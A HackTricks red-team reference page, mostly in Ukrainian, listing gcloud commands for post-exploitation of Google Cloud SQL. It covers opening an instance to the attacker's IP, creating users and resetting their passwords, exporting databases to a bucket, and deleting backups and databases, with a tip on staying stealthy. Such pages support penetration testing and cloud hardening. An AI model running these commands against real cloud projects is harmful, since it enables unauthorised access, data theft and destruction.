GCP - Cloud SQL Post Exploitation
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Cloud SQL
Для отримання додаткової інформації про Cloud SQL перегляньте:
cloudsql.instances.update
, ( cloudsql.instances.get
)
Щоб підключитися до баз даних, вам потрібен доступ до порту бази даних і знати ім'я користувача та пароль, немає жодних вимог IAM. Отже, простий спосіб отримати доступ, якщо база даних має публічну IP-адресу, - це оновити дозволені мережі та дозволити вашій власній IP-адресі отримати доступ до неї.
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
Також можливо використовувати --no-backup
для порушення резервних копій бази даних.
Оскільки це вимоги, я не зовсім впевнений, для чого потрібні дозволи cloudsql.instances.connect
та cloudsql.instances.login
. Якщо ви знаєте, надішліть PR!
cloudsql.users.list
Отримати список усіх користувачів бази даних:
gcloud sql users list --instance <intance-name>
cloudsql.users.create
Цей дозвіл дозволяє створити нового користувача всередині бази даних:
gcloud sql users create <username> --instance <instance-name> --password <password>
cloudsql.users.update
Цей дозвіл дозволяє оновлювати користувача всередині бази даних. Наприклад, ви можете змінити його пароль:
gcloud sql users set-password <username> --instance <instance-name> --password <password>
cloudsql.instances.restoreBackup
, cloudsql.backupRuns.get
Резервні копії можуть містити стару чутливу інформацію, тому їх цікаво перевірити.
Відновити резервну копію всередині бази даних:
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
Щоб зробити це більш непомітно, рекомендується створити новий SQL екземпляр і відновити дані там, а не в поточних базах даних.
cloudsql.backupRuns.delete
Ця дозволяє видаляти резервні копії:
gcloud sql backups delete <backup-id> --instance <instance-id>
cloudsql.instances.export
, storage.objects.create
Експортуйте базу даних до Cloud Storage Bucket, щоб ви могли отримати до неї доступ звідти:
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
cloudsql.instances.import
, storage.objects.get
Імпортуйте базу даних (перезапис) з Cloud Storage Bucket:
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
cloudsql.databases.delete
Видалити базу даних з екземпляра бази даних:
gcloud sql databases delete <db-name> --instance <instance-id>
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.